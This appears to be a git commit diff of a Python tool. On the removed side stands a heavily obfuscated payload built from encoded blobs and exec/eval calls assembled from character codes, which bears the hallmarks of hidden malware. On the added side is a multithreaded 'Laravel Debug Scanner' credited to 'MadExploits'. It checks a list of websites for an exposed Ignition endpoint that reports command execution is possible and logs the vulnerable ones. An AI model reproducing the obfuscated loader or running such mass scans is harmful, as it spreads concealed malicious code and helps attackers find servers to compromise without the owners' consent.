|
1 | | -#pip install pycryptodome |
| 1 | +#!/usr/bin/python3 |
2 | 2 |
|
3 | | -_key= 'Obfuscated by https://pyobfuscate.com';pyobfuscate = "";import random, base64, codecs, zlib |
4 | | -_lambda = b'\x17\xf8\xdb\\\xf2I\xbca:\x88\xbf\xe1\xa8<50\xc5\x1bN4\x86d\xf1\x9e\t\r\x81\xabk3\xbcM\xf1\xb5\xe7\xe0\xe9}\xc6\xc8$\xdd^Ut\xd3\x83-G\xccB\xf2\x0f`\x01\xe9\x88RZN>\xac$nX\xb4E\xfa\xde\xfagab\xcc%\xfc\x90F\xb1\x16\xf4\x8f\x0ch\xf4W\x05\xf2 \x0e\x01 \x0f\x05\x8d\xa8\xc7?*%/\xb2\xb2\x8eY\xb5a\xe9l\xb7\x97-\xeb\xdb\xbd\xe8&J=\xff\xaf\xc3\xb1 R\xfbS\xb5\x16y\x19\xa9$\xed\x98.N\xc6\x8c\xdd9\x88\xe9\xe3dQ\x122\x84\xa0\x98K\xf2\x13\x13\x86\x9a%\xf3<@a\x1c\x82lF\xaa\xb3?e]\x1fOR\x86^X\xe9\xb4\xd7\xcb\xa9\x19Hg\x11/\xbb\xc1\x90\xed*\xd1\xbbfXg\x1d/\xab\xabe\xf2t\x13\x92\xf0\xf7\xab\xc1<\x02D\xb7\xe2r\xa7\xa9\x10\xed\xd9M\xcdt\x92\x14L\xb7\xffo\x87Z\xe0\x932[\x86V|{\xc58.m\xc0\xfex\x1f\xf9,\xdd\xde\xfa\xcf\xaf\xbb\x16\x17\xb6\x16\xdaQ(\xa3\xf9{\x0fX\xe7\xbay\xc5\x87\xb7@\xe3\tI\x15Dp\xd3\x0e|\xa7\xc4\xaaJ3\x12\xbd\xc7\xc0\xcc/\x9bq\xc9\x86\xe6\xea\xf6\xe3\x08r\xa0&f7a\x98\x0f\x07\x92\x16\x96>\xbe\xb2i\x0f\xc5V\xa0S\xeb\xa8\xaf$\xd1\x8f\xb6\x1b\xab\xfe\xb1\x1c\x97\xb4\xf7\xea\xb1\xda\x92\x96\xa5\x14[9\x13\xf4Z\x86\xdd\xa1\xf6\x18\x9a\xec\xc9\x00DT\xde\x15\x1b\xf0Oc\x0c\xf4}\xa8\xc0\x0f\xce{\xedQ\x916M4\x054H\xb1D\xa8\x0c\xb6\'\xdb|d\xfcO\x86\xee4\xe8\x7f\xa2>\x89\xb5\xc3\xaf\xcc\xda\xa9@\x8a\xe2\xe6\x10\xcc\xc8\xfa\xfa{\x82\x12>\xafI\x91\xe3\x9a\xa9WK\x1e\x9db&\xd3\x18\x1e\x98=(e\xdb\xf9K\xdb\x8b\xa8\x13\xbe\xf8\xec\xc2\xbb7\x81\x94\x8eCe\xd0\xb7A\xddK/\x96xb\x1fb\xeb\xe1\xde2\xb4\xa1\xd1e\x16\xb9\xd0\xc2\x7fK\xa6-\x7f\x89d\xdc\x96\x17\x07\n\x9e\x10\xc6\x87\xf3+V6X\xd8)0|\'\xa1\xa7N\xd5\x11\x0c\x8f\x8ezT\xf0* 9g\xe4\x07-zy^\x9d\x8e\xc4\xbbb\xd7\xf95X\xcf\r\x02H\x90\xf5i\xde\xe4\xfe\xfe\x8fJ\xb8\xf3\xe6j\x91\x0c\xbf\x82\xc3\xc1\xe5\x8c\x12\x93\xdc\xfe\x8c\xd4\xe0(\xb5C\xf6$\xbb\x01\xebm\xe8\xb6\xfc\x90\xb3\x98ju\x12*\x9a&\xd3\x99\xe6\x9f\xba\x0c\xd6\xa7K\xcd\xdb\x17\xc9L\xbc\xd7\x1ed{\x13\x9cL\x03i\xe0\x98{\x18\xc8\x19\xa92\xa7\n\x0c|\xe2\xca \xe4m\xfa\x15a\xf0\x8c,\x9a\xb8\x18\xaf\xc7Q\xfa\x8e$Cy\xe2\x95\x1f4\\\xaf\xc7\x80`\xc4k\x12\x8a\xb2\xf9\xa4\xe6\x1fH\xe8\xad\xe5\x9dp\xb5\xaaF\xde\xeb\xfe\' 1\xf0\xda9_\x085\xe8\x9e\xd1N\xa4\x04\x93\x9b\x84H\xce\xab\'\xdef\x9bm\x0e\x1c\x8a"{\xfb\xd3g\xae"kr\x85Y\xd7\x89\x1bZ\xb4\xc5\xf0\xa6\xd1FjW\xb9\xfe[\xb9\x98\xacY\xea\xa1\xb6\xd5N>\xa5\x01\xe3\x0f\xd18\xde\xb2^\xb2\xa1\xcc,}X\x7f\x1d\x81K.Os\x10\xbe`\xf3\xff\x85WZ\x83\xfe\xd2@\xc0\x87\xcf\xdb\xf2\x97\x84\xb2\x88KE\xe1\xed\xcagI*==VI8\x1eU52\x98j:Bt\x83@\x186m\x8a\xad\x8b\xe1\xdc\xbfIV\xa4g\xeeGS\xee_\x1f\xf8\xc3\xd5A\x18\x89\xa0\x86\xfb\xb4\xa9\x90,zi\xf5\x9b\xd2\xd7JU}\xd7\xcc#Y3\xc9\xf9\x1b\xaf\xe3\xc8\xafC\x92>\x16V@>\x18;\xca\xe4ds\xcd\x1f\xaa\xf0\xb9\xd8\x08\xad\x0f\xff\xdd\xb7\xe8h\x85\x90l\x82]m\xa8\t\x0bg\xa4\x90)\xc6\x88L\x05\xde)\x19Bh&\xedcoq>2\xe2w\xf3F\xdc<\xbc\x8a\x1c\x9e\x9a\xaec30[e\xe6&\xa3s\xce\x82[\x97T\xda\xc6)\xb8\x97\x1b\xfc\xae-8~\xeb' |
5 | | -_encrypt = b'P*PY;LO4l5H%dxWSy@^zGdE5#Gg(<#M^!jdLsvyaQA$fhRZl}hSxZ<+N;O4MIXE&wSTjviPg+w&Q8_X~Sy53{LQF(KS}{XRO+!OjGdMR{Q!z(RR#HttHAga3L@`=71O+}ee@=zkbd%Y(h#8sa' |
6 | | -_pubkey = b'TWNQ870JLE38QAQIS5FJ4681DYF0K6NGPV9OWJBVTEJNVROIA0EYBK1IFPSCI7F2IVNKJ3R7SNN2LIWA11HURW5IBAPTU5PMR9UE2PARBZ6J4OJ5ZKDA' |
| 3 | +import requests as req |
| 4 | +import urllib3 |
| 5 | +from multiprocessing.dummy import Pool |
| 6 | +from colorama import Fore, Style |
| 7 | +from os import system, name |
| 8 | +from os.path import exists |
7 | 9 |
|
8 | | -_=lambda OO00000OOO0000OOO,c_int=100000:(_OOOO00OO0O00O00OO:=''.join(chr(int(int(OO00000OOO0000OOO.split()[OO00O0OO00O0O0OO0])/random.randint(1,c_int)))for OO00O0OO00O0O0OO0 in range(len(OO00000OOO0000OOO.split()))));eval("".join(chr(i) for i in [101,120,101,99]))("\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x5f\x5f\x22\x2c\x70\x72\x69\x6e\x74\x29\x3b\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x5f\x22\x2c\x65\x78\x65\x63\x29\x3b\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x22\x2c\x65\x76\x61\x6c\x29");__= zlib.decompress(b'x\x9c%\x97\x8b\x8d#1\x0cC[\x99\x12,\xebg\xf5\xdfX\x1e\x15\xdc\x01\x8b$c[\xa6H\x8a\xe3s\xeb\x9e\xcf\x8e\xf7\x8c\xdd\xcf\xe3f\x9f\xf3\xb9\x9d\xbc\xd7\xf9\\\xf1\xea~\xd7\xdb\xf9:2\xdc\xeb\xf3\xc3c\xf7}S\xdd\x11z\xb8_\xf3\xd0\xad\x0863c\x8d\x9f/\x9fwk\xd3\xe4\x87\xee\xef\xb2\x9c\xc7\xea\xe4\xe9~_\x87\xf7\xf1\xf8\xee\xd4\xb5w\xbf\x97\x8f\x85\xf7\xeb7\xd7\xe2\x9b\xf7\xd8\xf8K\x96^\xceb\xcb\xa2\xb4/\xfb\x1e\xbf\x9f\r%\x9dT\xe5\xe3\x96|\x1fw\x92\xda\x9eu{\x7fu\xfb\xf4\xb0\xac\xa9\xb5\x82\xaf\x8f*\xees\xf3P\x92\xd5d\xcfgY\x13\x8f\xeb\x9e\xb9s\xb8\xcfPP|\xcd!\x1c\xc3g\xe7\xac\xf8\xd2\\\xa7|\xee\xc9\xfa\xfa\xd8\xe3%p\x94\xdd\xa6$\x8bS\xa9?\xc5\x02\xf6\xcew\xde\xd9\xcf\xbbK^+*\xa8\xfbR\xf0p\xdbn6\xb1\x97m\x9e\x1c\xc6U\xb8h\xdd{\x8d\xc3\xec\xd8\xb0\xfe\xeb\xfb@\xe4\x1bpx\xec\x1a`4g[e\xef\rET\xba\xe0\x0cJ\x7f\x99\x1fO\t\xf4w<\xad\xf2\x03\x9d\xf7\xea}\xf74\x0b\xec\x8b\x03\xc6\xf1\xc0s\xac\xd8\xe7\x9e\xac\xc36vX7\xa9s#3i\x0f\x00%\x0b\x8bcn\xf47\x01(\xd4\x0f=\xf2\xb2op\x98~.\x13r\xff\xedi\xe2\xab\x8e\x19\x9e\xe2R\x14\x7f\x9e\x802\xb5\xe7\xf0+T0W\xcd\xe3\xc2 ^\x1bU|\xe9\x9dj\x9e;\x90\xa6\x88\xd5\xd4__8Wl>_]Qt\xacG9\x9f\xdd\xea\xa1\xc6\xd7\x01\x88`J\x8fc\xfc\x03x\xa3\x07\x9f\x01,\xa4\xc8\xe10j\xa3\xc5:\xd5\x9d\xfdF\xbb\\\xf6\x85\xcb4\x9d3r\xd2L\xac\x8d\x01kjM\xeb\xc32\xba\xcf>\x02\xa4\xe0\xd0\xfd\x12q\xc0P\x1eT[Ax.\x9f\xf3\x0bn\x11<\xffh\xe7\xa9\xaf\xbb\x847]\x125T7\xa0]\xca\xa1\xfd\xdf\x0b\x18\xf6\x04\xb66\x81\x1a\xa9r#\xdb\xe9\x03\xad\xb6\x10j\xae\x8a\x8f\xe9\xb1\xf4\x03\x17\xe89\xed\x85\x90\xf3\xf8\x7fT\xebu\xf5>\xed5\xdc\xa9\xa0\xc8\xe1\xdePP\x87zUI\x03(\r\xfe\xab\xc7\x08\nF\xa2\x95\x10w\xea\xa9H\xe0W#8\x06\xc9p\xc1w\x0c\x91\x19(\x86\x83\x1f\xda\x82\xec0r\xa0CS\xbc7m\xa4\x0bw\xfaA\xee\x8fV\x8f\x1e\xa3$z7\x14\xa3\xc3Q_KZ\xd0\xfa\x04\xce\xd1\x01#\xa15\xdcamX\x0e\x95!\xa4TK\x82\x92\xe8\xa39\xe6rPi%\x12IA=\xa7E\x8f\xdb\x90\nx\xc7F\xdd\xed\x103\x81\xf6\xf1\xf7\xbe0\xb1\x08\xde\x87\xe0\n\x9f\x914\x06\xe5K\xdbyB\xcc\xbe\xe3\xfd\x04\xdei5\x03r=\x1b\x19\xcb\xe1_\xb9\xfa\xcc\xc2\xa4G\xa0\x18\x03\xd8\xe8\xa6\x05\xe6yQ\xda\xa8%e\x08\xd12\x16QY>\x83E\xeal\xee\x18\xb2\x020u\xf1?\xc6t11\xc7d!\x86\xf7\x15%CYJ\xbca\xe8\xff\xd3\xfeT\x07u\x0e\xea\xe6\xba\xd8\xa34\x98\x90\x9d\xbf\x83\x14m\x99\xc7\xc5Z\x8c\xbd\xedN\xc9X\xe2\xb1\x83\xba\x00\x15\x00\xdc\x1a)s(\x80\xc3\xbd\xaf\x1dO\t1\xb1\xa0\x8b~\x07\xaeub\xdc\xd0\x01P\xcc\x8f\xbdi\xa9\xc1\x94\x11\x12/\x9c\xc0s\xb1\x10\xa0Y\xa7\xa2\xbd< ~\x8c\x08\xe0\xb7<1\xd1+\x07N\xfc\xef`\x94\x01Q\x0c\xe4i[\xa2V\xd8\xc3\xb7\\\x8dg\xe8\x8ePf\x0fq\xd8\xd6\x97#L\xe3\x81;\xfa\xd1\xd5\x1bW[2q5\xbc\x97\xbd\x9f\xae\x8d\x94\xcf\xde\xd83\xa4T\xfe\x81\xd7\r\x1aLA\x1c\xc4 B[\xbd\xb6\xd0\xc8E\x9drH\x96\xebq\xa6\xc6{I\x8a\xae\x11\x80eq}\xb8v\xf6\xa8\x1b\xffk\x15nz%\x13Z\xf4V\xf9KJJ\xc3P\xc4\x7f\x1a\x81\xe0q\x0b\xf1+\xcb1\x97\xa3\xb6\xb0\x8d\xe0\xa4\xc6\xb7v\x84% ?\xc7\xd5\x96\x88\x0c\xd1\x17\x92wQ\xf1v\xdb4\x10\xd3\xfe\xae\x07%Z*=\xa2\xa4\xea8\xb6n\x16\xfd\xb8\xaf8drrZ\x9d-W\x0c\xc3\xf1\x91\xd0\xc4"KY\x85\xc138P\x14\x8fC\x02\x18N\x174@\xbf\xc5\xe0\xfc\xd9\xce\xa6Ns\xd7\xcd\xa0\xdeH\x0c\x1aV\x8c\x91?\xc1\xe4\xa6\xd2\xe4\xd5o\x8ew\xac]\xda]/7}\xdb\xff\xc9T\x8bO\xa14\xea\xa5W\x89cb\x16:\x8b{HA\xb6cS\xad\x84mOu#\x80a\x05\xbe\x86\xc9\xa4\x8c\x83\xa13\xba\xa8>\xfd\x93\x81*\xd7B\x88\n\x9fY\xcd\x10\xa7\x12V\x89\x1c\xe4\t\x17}\xef\x1fV\xbc\x8b](\xaa\x8en\xc4\xf6ti\xd1\xd4\xa6\xb2!d\xad\xf0\xb0`"\rH\x90x\x1a\xd8\xe1P2Y\xb0\x1d\xd7\xc4\xa8#\xf2Kr\x8f\xc9q\x15\x17r\xa5"n\xc4N\xaa\x8b\xbf\xd1l\xc6#2\xc3\xb1\x99\x06&\x12\xa12I\xadP<\xad\x15\xd3\xc4\x8d\x1d\xe3\xf2\x01f\xf1\x88\xb0p\x85S`\x92\xe6\x10Di\xb5\x9a\x89\x1c\x82\x06\xa62\xd4\x15u\x94\x17\x1e\xcfb\x02\x1c\xa9\xa6d\x8e&,-\x02o_\x1a\xff\xd5{\x1c\xde]\xbe\xdf\x8e*\x82\xc99\xe5\x89<\xc5\x93/\xf8\xcb\xe2\x16\xc9\x95QP\xf3\'\xaa\xa3\x0fi\x05\x0f\x02\x08\xa3\xc7\x9b\x1b\x18\xcd\xa9\xf1w\x1cy\xcb\xfd\xd9W]-\xc4\xd5\x9b\x90F=\xa0\xf6w\xae\xec\x1f\x8f\xe2!\xaen\xf7\x00)y\x90K\nxrL\x01\x05c\xf6\xee|DuB\xfe\x8dX\xcd\x18`T\x85f7\x9e3\x00\xe9\xcb\xee!<)\x88\xa1 \xe5\x1a1N\x9a\xc6\x0el\xe3\xceyJ@\x04\x88\x84]\xaa\xe2\x1eqF\xd9(\xe4\xd2<\xa4dJN\xa0O\x1a\x11\xe4\x0eG\xa3\xf4\x13\xc4\x93Y.\x0b\xa3 p\xe3\x968\xa6>\xd3\x06\x06\xef\xba\xd4\x8eH\x8d\xcfEsDM\x1esLK\x97n\xa5Sq\x9el\xc0\xccA\xd1\xdci{\xb5\xd4m\xea \xde0\xb5\xd4\xce\xdeA\n\x8d\rnI{\x14\xb7\x91l\xc1\xc3\xe3\x02\x14\x9aZ\xa3\xff\x03\x95K\x81\x18\x1cGy\xf2\x85\xd0\x00u\xf0R\xaa&\xc2l\xc4#`\xf4\x93\x94a\x98NA\xee\xa5\xbfXt\xae\xe0\xa3D\x05%>\xdc\x17\xe8pg\xe5o\x11q\x94\xc3\x89\x92\x8c\xa7o]\xace\xc9\x8aIJK\xb8O\xf5\xa7\xe8$\x08Q\xc2U\xfa\xc2\xa2m\x03\x11\xd6\x8d\xcf\xb3\xaf+\x05\x17\xfc\x03\x81D\xd5R7\x80\x92k\xc4\x0f\xb6\x1d\xf9\xfb\xc8\xfb\xe9i\xf8\x8e\x8aT\xb6\x92&G\xa5\xdb:5~\x95Z\x83\xe3j\x90\xf2\x8c\x18\xcdT\x93\x7f`\x9b\x1ad\x8a\xdbl<b\x0c\xa512\x18\xe0\xda:\x10\xffS\xd4W S\xfcv>\xf1\x1c\xad\xe0,\xb4|\x87&:\xc2\x00\x15\xec\x86\x11\x0b\xc0\x88\rAkz\xe0\xc1\x88\x95\xfb\x93\x7f\x94\xcbK\x04]\x1b\x1f\xd9\x9a+\x8b\xe5\xe6\x82T\xa8\x82B\x08\x85\xf7\x8e\xdc\xc9>\x05n\x1b\x92\x18\xec)-\x87\x04\xb0C{\xa7\n\xf3|4\x04`\xe8\xbe\x04\x85\xd2)E`4\xba\xb2\xbc\x0b\xa3\xa0\xd4\xab\xf00z\xa9\x81\x0b\x04\xd2\x96j"\x96ANS\t\xa2P\x04\x1a*\xc30\x0e\xcf\xec\xe8n\xed> \xa7"\x88\x84\x8f\x1aG\xd8l\xa0&\xca.7\\\xb6\xae\x9cy7\x84^Z\xa5\x05\xf8\xbduAE\xbcB\x8d@\x99\x8by0|\x87\x1e\xa3\xfe\x90~p\xd0"\xb4\xf2Ne\xb1#\xb2X\x90\x7f~[j\xc2+P\x103\x99\x98\xc2\x80\xfe\x9c\xf5*\xe8\xd04_\xc9\\n\xca\x0ba\xc8\x83}\x83,V\xe6\xeb\xf7&\x03A\xd0\xe4Yx\x8d\xcfi\x9e)\x85+n<S\xd0\x86\xaf\x85d\x15_\x98\x95z\x1bS0?;\xe0\xee\xbe\xa2\x98\xde`\xc8U\xca\xc9\xf1\'.\x935e\xc2\xbck@th\xc0\x16LF\xbdr\xb2\x8eWV\xbdX\x96\x95\xe6\xa6\xe9=Fr\xa4q1\x1b\x97\xa8\x91\xdf\t \x0cM\x8d\x86\xf5\x00\xac\xbf\x9ex&l\xb9\x0f\x89\xf6\xef\x15\\\xc3U\xbf\xe9\xe5W\x01\xb1\x88\xab\xe7\x07\xbcF\xf2\x95').decode();why,are,you,reading,this,thing,huh="\x5f\x5f\x5f\x5f","\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f","\x28\x22\x22\x2e\x6a\x6f","\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c","\x31\x30\x31\x2c\x39\x39","\x5f\x5f\x29\x29","\x5d\x29\x29\x28\x5f\x28";b='eJyLcvfLcgqMMnHMLTB2ci8wdAr0M3IM9MgFAFyzB1A=';____("".join (chr (int (OO00O0OO00O0O0OO00 /2 ))for OO00O0OO00O0O0OO00 in [202 ,240 ,202 ,198 ] if _____!=______))(f'\x5f\x5f\x5f\x5f\x28\x22\x22\x2e\x6a\x6f\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c\x31\x30\x31\x2c\x39\x39\x5d\x29\x29({____(base64.b64decode(codecs.decode(zlib.decompress(base64.b64decode(b"eJw9kN1ygjAUhF8JIkzlMo6mEnIcHVIM3AGtoPIT2wSSPH2p7fTu252d2T3n3MkyK896dLvrSMIeaGxEGn0l/rpiLu3hlXm5yxDmO8tQZIDoeUQLr4oWePxk8VZfBpr9af8mXdzLTk8swRbP25bNzPvP8qwWJDRA8RX4vhLkfvuk0QRl3DOUekDC9xHZVnBcyUnXY7mtBrIOBDEKXNRl3KiBBor25l5MN7U5qSA/HsJiVpfsVIQ/Hj4dgoSYOndx+7tZLZ2m3qA4AFpUD6RDsbLXB2m0dPuPZa8GblvoGm/gthdI+8PxyYtnXqRLl9uiJi+xBbqtCmKm8/K3b7hsbmQ=")).decode(),"".join(chr(int(i/8)) for i in [912, 888, 928, 392, 408])).encode()))})') |
| 10 | +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) |
9 | 11 |
|
| 12 | +class LaravelDebugScanner: |
| 13 | + def __init__(self): |
| 14 | + self.header = { |
| 15 | + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" |
| 16 | + } |
| 17 | + |
| 18 | + def clear_screen(self): |
| 19 | + if name == "nt": |
| 20 | + system("cls") |
| 21 | + else: |
| 22 | + system("clear") |
| 23 | + |
| 24 | + def scan_site(self, site): |
| 25 | + try: |
| 26 | + r = req.get(f"{site}/_ignition/health-check", timeout=300, headers=self.header, verify=False) |
| 27 | + if '{"can_execute_commands":true}' in r.text and r.status_code == 200: |
| 28 | + print(f"{Fore.GREEN + '[+]' + Style.RESET_ALL} {Fore.GREEN + r.url + Style.RESET_ALL}") |
| 29 | + with open("laravel-log.txt", "a") as wr: |
| 30 | + wr.write(site + "\n") |
| 31 | + else: |
| 32 | + print(f"{Fore.RED + '[!]' + Style.RESET_ALL} {site} => NOT FOUND!") |
| 33 | + except: |
| 34 | + pass |
| 35 | + |
| 36 | + def main(self): |
| 37 | + print(Fore.GREEN + """ |
| 38 | + +---------[ Laravel Debug Scanner ]---------+ |
| 39 | + + Github : github.com/MadExploits + |
| 40 | + + Telegram : t.me/@MadShells + |
| 41 | + + Laravel Debug Scanner + |
| 42 | + +-------------------------------------------+ |
| 43 | + """ + Style.RESET_ALL) |
| 44 | + |
| 45 | + input_file = input("List : ") |
| 46 | + if exists(input_file): |
| 47 | + thread = input("Thread : ") |
| 48 | + with open(input_file, "r") as f: |
| 49 | + websites = f.read().split("\n") |
| 50 | + with Pool(int(thread)) as pool: |
| 51 | + pool.map(self.scan_site, websites) |
| 52 | + pool.close() |
| 53 | + pool.join() |
| 54 | + else: |
| 55 | + print("File not found") |
| 56 | + |
| 57 | +if __name__ == "__main__": |
| 58 | + scanner = LaravelDebugScanner() |
| 59 | + scanner.clear_screen() |
| 60 | + scanner.main() |
0 commit comments